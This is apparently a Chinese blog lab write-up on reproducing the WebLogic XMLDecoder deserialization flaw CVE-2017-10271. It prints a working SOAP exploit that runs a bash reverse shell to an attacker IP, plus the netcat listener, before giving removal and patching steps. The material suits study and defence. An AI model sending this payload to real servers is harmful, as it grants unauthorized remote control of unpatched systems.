记一次经典的反序列化漏洞(CVE-2017-10271)
关于WebLogic
WebLogic 是由 Oracle 公司开发的一款企业级 Java EE(现 Jakarta EE)应用服务器,广泛用于构建、部署和管理大型分布式企业应用。它提供高可用性、可扩展性和安全性,支持诸如 EJB、JMS、JTA、JDBC、Servlet、JSP 等 Java EE 标准技术,并集成了集群、负载均衡、故障转移等高级功能,适用于金融、电信、政府等对系统稳定性要求较高的行业。WebLogic 也因其复杂的功能和广泛的使用,历史上多次曝出严重安全漏洞,尤其是反序列化类漏洞,使其成为安全研究人员和攻击者重点关注的对象。正因如此,WebLogic 常被用作学习 Java 反序列化、RMI 攻击、T3 协议利用等安全技术的典型靶标。
关于反序列化漏洞
反序列化漏洞是指程序在将序列化的数据(如字节流、JSON、XML、YAML 等格式)还原为对象的过程中,未对输入内容进行充分校验或限制,导致攻击者可构造恶意数据,在反序列化时触发任意代码执行、文件读写、命令执行等危险操作。这类漏洞常见于使用了不安全反序列化机制的编程语言和框架中,尤其在 Java 生态中尤为突出——由于 Java 原生支持对象序列化,且许多库如 Apache Commons Collections、Fastjson、Jackson、XStream 等在反序列化时会自动调用某些类的方法,攻击者可利用这些链实现远程代码执行。
关于CVE-2017-10271
CVE-2017-10271 是 Oracle WebLogic Server 中一个严重的远程代码执行漏洞,源于其 WLS,即WebLogic Server组件在处理 SOAP 消息时不当使用了 Java 的 XMLDecoder 类对用户输入进行反序列化。攻击者可通过向 /wls-wsat/ 路径下的多个接口(如 CoordinatorPortType 接口)发送精心构造的恶意 XML 请求,触发 XMLDecoder 对任意 Java 对象的实例化,从而实现远程命令执行。该漏洞影响 WebLogic 10.3.6.0、12.1.3.0、12.2.1.1 等多个版本,且利用门槛低、甚至无需身份认证,公开的 PoC 广泛流传,导致大量未打补丁的服务器被攻陷。此漏洞不仅凸显了 XML 反序列化的安全风险,也成为研究 Java 反序列化攻击和企业中间件安全的经典案例,当时发现此漏洞的多数利用方式为传播挖矿程序。而Oracle 在 2017 年 10 月的安全更新中修复了该问题。
关于SOAP请求
SOAP(Simple Object Access Protocol,简单对象访问协议)请求,是发往特定 URL 的 POST 请求,本质上是基于 XML 格式、遵循固定规范的 HTTP 请求,专门用于不同系统之间(比如 Java 后端和 Python 客户端、跨语言 / 跨平台服务)的远程数据交互。
PS:本次复现紧接上一次的学习,使用反弹shell的形式触发该漏洞。
漏洞复现
使用docker安装完毕环境后,访问对应的端口,默认为7001:

等待一段时间,可看到一个404页面,说明weblogic已成功启动。 之后访问以下路径:
http://虚拟机ip:7001/console
之后会跳转到一个登陆页面,等待初始化整个环境后跳转至新页面。

在这里我们可以使用大佬开发专门用于的Weblogic漏洞检测工具进行漏洞探测

可以发现对应的漏洞存在。
接下来访问以下路径,并进行抓包,发现发现是一个GET请求的,这里需要在BP中将GET请求更改为POST请求change request method,同时需要插入构造的soap请求:
http://虚拟机ip:7001/wls-wsat/CoordinatorProtType

SOAP POC如下:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/虚拟机IP/8888 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
由于WebLogic 对work:Work Context节点的解析逻辑存在缺陷,会将节点内的java内容交给XMLDecoder处理 —— 这是整个攻击的 “突破口”,正常情况下XMLDecoder仅用于解析合法的 JavaBean 配置,此处被恶意滥用。
而ProcessBuilder是 Java 中用于创建操作系统进程的类,这里通过 XML 格式构造其参数:其中关键的命令数组
["/bin/bash", "-c", "bash -i >& /dev/tcp/10.4.7.129/8888 0>&1"]
的含义即调用 Linux 的 bash 终端后,告诉 bash 执行后续字符串中的命令(即核心的反弹shell):
bash -i:启动交互式 bash;>& /dev/tcp/攻击者IP/8888:将 bash 的标准输出 / 错误输出重定向到攻击者 IP的 8888 端口;0>&1:将标准输入也重定向到相同端口,实现双向通信(攻击者可输入命令,服务器返回结果)。
之后调用ProcessBuilder.start()方法,启动新进程执行上述 bash 命令。执行后,WebLogic 服务器会主动连接攻击者的8888 端口,建立反向 Shell 会话 ,攻击者只需在自己的机器上监听 8888 端口,就能获取服务器的交互式 Shell,完全控制目标机器。
在发出之前记得在另一终端上启动监听,端口同样可以自选,但要注意上下统一。
nc -lvnp 8888

发出后将数据包放行,实现权限获取。

后续修复方案跟进
临时方法:删除wls-wsat组件,然后重启weblogic,直接的验证方法是访问:
http://主机IP:7001/wls-wsat/CoordinatorPortType11
如是404则说明已成功删除。
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
cd /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/bin
./stopWebLogic.sh
./startWebLogic.sh &
修补方法:使用后续发布的补丁,但需要购买了软件服务。
cd /home/WebLogic/Oracle/Middleware/utils/bsu #进入bsu目录
mkdir -p cache_dir/backup #创建backup目录用于备份
mv cache_dir/* cache_dir/backup #确保cache_dir下原来没有补丁
unzip p26519424_1036_Generic.zip -d /home/WebLogic/Oracle/Middleware/utils/bsu/cache_dir #将补丁解压到cache_dir
mv cache_dir/patch-catalog_25504.xml cache_dir/patch-catalog.xml #重命名patch-catalog
./bsu.sh -install -patchlist=FMJJ -patch_download_dir=./cache_dir/ -prod_dir=../../wlserver_10.3/ #打FMJJ补丁
参考:博客园@诸子流
总结
在本次实验中,深入理解 XML 反序列化漏洞的成因与利用机制。该漏洞源于 WebLogic 在处理 SOAP 请求时使用了不安全的 Java XMLDecoder 类,直接反序列化用户可控的 XML 输入,导致任意对象实例化和远程代码执行。复现过程有助于掌握如何构造恶意 XML payload、识别可利用的接口路径(如 /wls-wsat/CoordinatorPortType),以及利用常见 Java 类(如 ProcessBuilder)实现命令执行。同时,还能学习企业级中间件的典型攻击面、T3/SOAP 协议交互方式,以及漏洞验证与 PoC 编写的基本方法,不仅强化了对反序列化风险的认知,也为后续研究其他 Java 反序列化漏洞(如 Fastjson、Shiro 等)打下基础,是入门 Java 安全与中间件攻防的重要案例。
今日日鞠


浙公网安备 33010602011771号